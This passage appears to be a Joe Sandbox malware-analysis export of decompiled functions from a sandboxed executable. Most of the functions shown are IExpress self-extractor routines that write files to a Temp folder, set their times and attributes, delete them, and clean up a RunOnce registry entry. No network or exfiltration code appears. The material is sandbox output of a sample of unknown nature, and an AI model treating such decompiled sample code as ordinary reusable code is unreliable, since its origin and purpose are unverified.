0x00a352b0
0x00000000
0x00a352b0
0x00a3529e
0x00a35279
0x00000000
0x00a3527b
0x00a35273
0x00000000
0x00a35273
0x00a3524a
0x00a35250
0x00a35256
0x00000000
0x00a35256
0x00a35219
0x00a35223
0x00000000

APIs

Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346A0
Part of subcall function 00A3468F: SizeofResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346A9
Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346C3
Part of subcall function 00A3468F: LoadResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346CC
Part of subcall function 00A3468F: LockResource.KERNEL32(00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346D3
Part of subcall function 00A3468F: memcpy_s.MSVCRT ref: 00A346E5
Part of subcall function 00A3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00A32F4D,?,00000002,00000000), ref: 00A35201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00A35250

Part of subcall function 00A344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
Part of subcall function 00A344B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554

Part of subcall function 00A36285: GetLastError.KERNEL32(00A35BBC), ref: 00A36285

Strings

UPROMPT, xrefs: 00A351EF, 00A35230
<None>, xrefs: 00A35262

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 13919e0bd3ae0018a0c5ebb719f71c76a682e71fd73d2ed6faf555021a5bd5a6
Instruction ID: 43024a5d285444d10b0369173e3c94a7e712272baea363613710f77f4df18ecb
Opcode Fuzzy Hash: 13919e0bd3ae0018a0c5ebb719f71c76a682e71fd73d2ed6faf555021a5bd5a6
Instruction Fuzzy Hash: DD11C4B1A00601BFE354ABF55D4AFBB61ADEB99380F104439F682E6190DBB9DC025624

Uniqueness

Uniqueness Score: -1.00%

Function 00A352B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00A352B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0xa38004; // 0xb6b6972c
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0xa391e0; // 0x2b99198
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0xa38a24 == 0 &&  *0xa39a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0xa38a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0xa38a24 == 0 &&  *0xa39a30 == 0) {
					_push(_t22);
					E00A31781( &_v268, 0x104, _t22, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
					if(( *0xa39a34 & 0x00000020) != 0) {
						E00A365E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E00A32390( &_v268);
					_t11 =  *0xa38a20; // 0x0
				}
				if( *0xa39a40 != 1 && _t11 != 0) {
					_t11 = E00A31FE1(_t22); // executed
				}
				 *0xa38a20 =  *0xa38a20 & 0x00000000;
				return E00A36CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x00a352b6
0x00a352b6
0x00a352b6
0x00a352c1
0x00a352c8
0x00a352cb
0x00a352cc
0x00a352d4
0x00a352d6
0x00a352d7
0x00a352de
0x00a352e0
0x00a352f2
0x00a352fa
0x00a352fa
0x00a35302
0x00a35305
0x00a3530c
0x00a35312
0x00a35316
0x00a35316
0x00a35317
0x00a3531c
0x00a3531f
0x00a35333
0x00a35345
0x00a35351
0x00a35359
0x00a35359
0x00a35363
0x00a35369
0x00a3536f
0x00a35374
0x00a35374
0x00a35381
0x00a35387
0x00a35387
0x00a3538f
0x00a353a0

APIs

SetFileAttributesA.KERNELBASE(02B99198,00000080,?,00000000), ref: 00A352F2
DeleteFileA.KERNELBASE(02B99198), ref: 00A352FA
LocalFree.KERNEL32(02B99198,?,00000000), ref: 00A35305
LocalFree.KERNEL32(02B99198), ref: 00A3530C
SetCurrentDirectoryA.KERNELBASE(00A311FC,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 00A35363

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A35334

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-1955631000
Opcode ID: f4e21fd85950cd3044cdabe494a6f9973adfa8ec9529fba4a931a6a918a6ade7
Instruction ID: 79b550be181c1b18e8b1bb75bf3c907736db71d2f668e934ee2d54f3120ebe16
Opcode Fuzzy Hash: f4e21fd85950cd3044cdabe494a6f9973adfa8ec9529fba4a931a6a918a6ade7
Instruction Fuzzy Hash: 9B21C031D00614DBDB24EBA8ED59BAA77B4BB10790F04025AF8825B1A0CFF49D86DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00A31FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A31FE1(void* __ecx) {
				void* _v8;
				long _t4;
				long _t7;

				if( *0xa38530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup0"); // executed
						_t7 = RegCloseKey(_v8); // executed
						return _t7;
					}
				}
				return _t4;
			}

0x00a31fee
0x00a32005
0x00a3200d
0x00a32017
0x00a32020
0x00000000
0x00a32020
0x00a3200d
0x00a32029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,00A3538C,?,?,00A3538C), ref: 00A32005
RegDeleteValueA.KERNELBASE(00A3538C,wextract_cleanup0,?,?,00A3538C), ref: 00A32017
RegCloseKey.KERNELBASE(00A3538C,?,?,00A3538C), ref: 00A32020

Strings

wextract_cleanup0, xrefs: 00A31FE7, 00A3200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00A31FFB

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: 10747b7ffa26ddbfc68813ddcf8283197cf59c836f88a5c09358e90737e0de0a
Instruction ID: 78a3333cc071edb78e823d8e76457d1640b0a656b476cf267df603b55302b290
Opcode Fuzzy Hash: 10747b7ffa26ddbfc68813ddcf8283197cf59c836f88a5c09358e90737e0de0a
Instruction Fuzzy Hash: 98E08631650328BBD729CFD0FD4AF5DBB29F712741F100194F945A00A0EBB55E15D705

Uniqueness

Uniqueness Score: -1.00%

Function 00A347E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A347E0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx; // executed
				_t5 = LocalAlloc(0x40, 8); // executed
				_t34 = _t5;
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E00A31680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0xa391e0; // 0x2b99198
						 *(_t34 + 4) = _t11;
						 *0xa391e0 = _t34;
						return 1;
					}
					_t25 =  *0xa38584; // 0x0
					E00A344B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0xa38584; // 0x0
				E00A344B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x00a347e8
0x00a347ea
0x00a347f0
0x00a347f4
0x00a3480f
0x00a34811
0x00a34814
0x00a34814
0x00a34816
0x00a34817
0x00a34829
0x00a3482b
0x00a3482f
0x00a3484f
0x00a34852
0x00a34855
0x00a34855
0x00a34857
0x00a34858
0x00a34860
0x00a34865
0x00a3486a
0x00a3486f
0x00000000
0x00a34876
0x00a34831
0x00a34841
0x00a34847
0x00a3480b
0x00000000
0x00a3480b
0x00a347f6
0x00a34806
0x00000000

APIs

LocalAlloc.KERNELBASE(00000040,00000008,?,00000000,00A34E6F), ref: 00A347EA
LocalAlloc.KERNEL32(00000040,?), ref: 00A34823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00A34847

Part of subcall function 00A344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
Part of subcall function 00A344B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A34851

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 359063898-1955631000
Opcode ID: 30786d712d3df3820f0db79b300dfdf67cd494825e7d6890eb59f235dae444d3
Instruction ID: 5b2b88394632026a9824392fd5d6eb6e704808561e5dafebad49555437ed6c1f
Opcode Fuzzy Hash: 30786d712d3df3820f0db79b300dfdf67cd494825e7d6890eb59f235dae444d3
Instruction Fuzzy Hash: BE11E5756047416FD754DF749C18F777B6AEB89300F048519FA829B341DA35EC078760

Uniqueness

Uniqueness Score: -1.00%

Function 00A34CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00A34CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0xa38004; // 0xb6b6972c
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0xa391d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E00A34E99(_t75);
						L35:
						return E00A36CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0xa38584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0xa391e4;
						_t58 = 0xa391e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0xa391e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0xa391e4;
						_t30 = E00A34702( &_v268, 0xa391e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E00A3476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E00A34980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E00A347E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0xa393f4 =  *0xa393f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0xa391e4;
						_t63 = 0xa391e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0xa391e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0xa391e4;
						_t30 = E00A34702( &_v268, 0xa391e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E00A34C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E00A34B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E00A34B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x00a34cd0
0x00a34cdb
0x00a34ce0
0x00a34ce2
0x00a34cee
0x00a34cf2
0x00a34d0e
0x00a34d0e
0x00a34d11
0x00a34e83
0x00a34e88
0x00a34e98
0x00a34e98
0x00a34d17
0x00a34d17
0x00a34d1a
0x00a34d2f
0x00a34d2f
0x00000000
0x00a34d2f
0x00a34d1c
0x00a34d1c
0x00a34d1f
0x00a34dcb
0x00a34dd0
0x00a34dd2
0x00a34ddd
0x00a34ddd
0x00a34de3
0x00a34de8
0x00a34ded
0x00a34ded
0x00a34def
0x00a34df0
0x00a34df0
0x00a34df4
0x00a34df4
0x00a34df6
0x00a34df9
0x00a34dfc
0x00a34dfc
0x00a34dfe
0x00a34dff
0x00a34dff
0x00a34e03
0x00a34e08
0x00a34e0a
0x00a34e0f
0x00a34d03
0x00a34d03
0x00000000
0x00a34d03
0x00a34e18
0x00a34e20
0x00a34e25
0x00a34e27
0x00000000
0x00000000
0x00a34e33
0x00a34e38
0x00a34e3a
0x00000000
0x00000000
0x00a34e40
0x00a34e51
0x00a34e56
0x00a34e5b
0x00a34e5e
0x00000000
0x00000000
0x00a34e6a
0x00a34e6f
0x00a34e71
0x00000000
0x00000000
0x00a34e77
0x00a34e7d
0x00000000
0x00a34e7d
0x00a34d25
0x00a34d25
0x00a34d28
0x00a34d36
0x00a34d3b
0x00a34d40
0x00a34d40
0x00a34d42
0x00a34d43
0x00a34d43
0x00a34d47
0x00a34d4a
0x00a34d4a
0x00a34d4c
0x00a34d4f
0x00a34d4f
0x00a34d51
0x00a34d52
0x00a34d52
0x00a34d56
0x00a34d5b
0x00a34d5d
0x00a34d62
0x00000000
0x00000000
0x00a34d67
0x00a34d6f
0x00a34d74
0x00a34d76
0x00000000
0x00000000
0x00a34d7c
0x00a34d84
0x00a34d89
0x00a34d8b
0x00000000
0x00000000
0x00a34d94
0x00a34d99
0x00a34d9e
0x00a34da1
0x00a34daa
0x00a34daa
0x00a34da3
0x00a34da3
0x00a34da3
0x00a34db5
0x00a34dbb
0x00a34dbd
0x00000000
0x00a34dc3
0x00a34dc5
0x00000000
0x00a34dc5
0x00a34dbd
0x00a34d2a
0x00a34d2a
0x00a34d2d
0x00000000
0x00000000
0x00000000
0x00a34d2d
0x00a34cf8
0x00a34cfd
0x00a34d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00A34DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00A34DDD

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A34D36, 00A34DE3

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-1955631000
Opcode ID: 8f4992df8ed82c7b567f136e6c77c0bd022d4e3be7ade3c01332827e9c79869e
Instruction ID: 21c6aa3406c905c17654ec57b9030c88ea6df662aafad7480162875ca539d8e9
Opcode Fuzzy Hash: 8f4992df8ed82c7b567f136e6c77c0bd022d4e3be7ade3c01332827e9c79869e
Instruction Fuzzy Hash: CB4134362002019BCB259F38DE446F6B7A5FB4D780F148668F88297695DF31FE8AC750

Uniqueness

Uniqueness Score: -1.00%

Function 00A34C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A34C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0xa38d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0xa38d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x00a34c40
0x00a34c4a
0x00a34c8d
0x00000000
0x00a34c70
0x00a34c70
0x00a34c7e
0x00a34c86
0x00000000
0x00000000
0x00000000
0x00a34c8a

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00A34C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00A34C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00A34C7E

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 1584af4d48858c2f2b8909357e301084db43df6e761b5d45d7143f0c201544e9
Instruction ID: 112f697370d9128401cf0cd93ce58b7db0fbbdec97dd125768706a4dbe60da80
Opcode Fuzzy Hash: 1584af4d48858c2f2b8909357e301084db43df6e761b5d45d7143f0c201544e9
Instruction Fuzzy Hash: 2AF0907260121CAF9B64DFB4CC49DBBB7BCEB18240B44052AB855C1050EA30E914D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00A3487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E00A3490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x00a34880
0x00a3488c
0x00a34894
0x00a348a0
0x00a348c9
0x00a348ce
0x00a348a2
0x00a348a8
0x00a348b7
0x00a348bc
0x00a348aa
0x00a348ac
0x00a348ac
0x00a348a8
0x00a348de
0x00a348e7
0x00a3490b
0x00a348ee
0x00a348f0
0x00000000
0x00a34902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00A34A23,?,00A34F67,*MEMCAB,00008000,00000180), ref: 00A348DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00A34F67,*MEMCAB,00008000,00000180), ref: 00A34902

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2cadfed00c3c848edd79466b6fec4fab58c107dd3e9fbec9e07fd4193047e769
Instruction ID: aeb856c2fc61e3a9bc25067aa9179872beace703b199420e26dfc40ef8775f7d
Opcode Fuzzy Hash: 2cadfed00c3c848edd79466b6fec4fab58c107dd3e9fbec9e07fd4193047e769
Instruction Fuzzy Hash: E1016DA3E1167026F32481694C88FB7955CCBDA734F1B0334BDEAE71D1D5646C0481E0

Uniqueness

Uniqueness Score: -1.00%

Function 00A34AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A34AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0xa3858c; // 0x268
				_t9 = E00A33680(_t20);
				if( *0xa391d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0xa38d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0xa39400; // 0x9ba00
							_t15 = _t14 + _t25;
							 *0xa39400 = _t15;
							if( *0xa38184 != 0) {
								_t21 =  *0xa38584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0xa393f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x00a34ad5
0x00a34adb
0x00a34ae7
0x00a34aee
0x00a34b05
0x00a34b0d
0x00a34b14
0x00a34b1a
0x00a34b1c
0x00a34b21
0x00a34b2a
0x00a34b2f
0x00a34b31
0x00a34b39
0x00a34b54
0x00a34b54
0x00a34b39
0x00a34b2f
0x00a34b0f
0x00a34b0f
0x00a34b0f
0x00a34b5e
0x00a34ae9
0x00a34aed
0x00a34aed

APIs

Part of subcall function 00A33680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00A3369F
Part of subcall function 00A33680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00A336B2
Part of subcall function 00A33680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00A336DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00A34B05

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 0acca642aae9a4bc6087e423d8c65a0743443147d9e5289173c2530183e0df87
Instruction ID: a09daadce4c65da1598fd3b36768a6f644600caf564bc9c51a550ea0407c2ea9
Opcode Fuzzy Hash: 0acca642aae9a4bc6087e423d8c65a0743443147d9e5289173c2530183e0df87
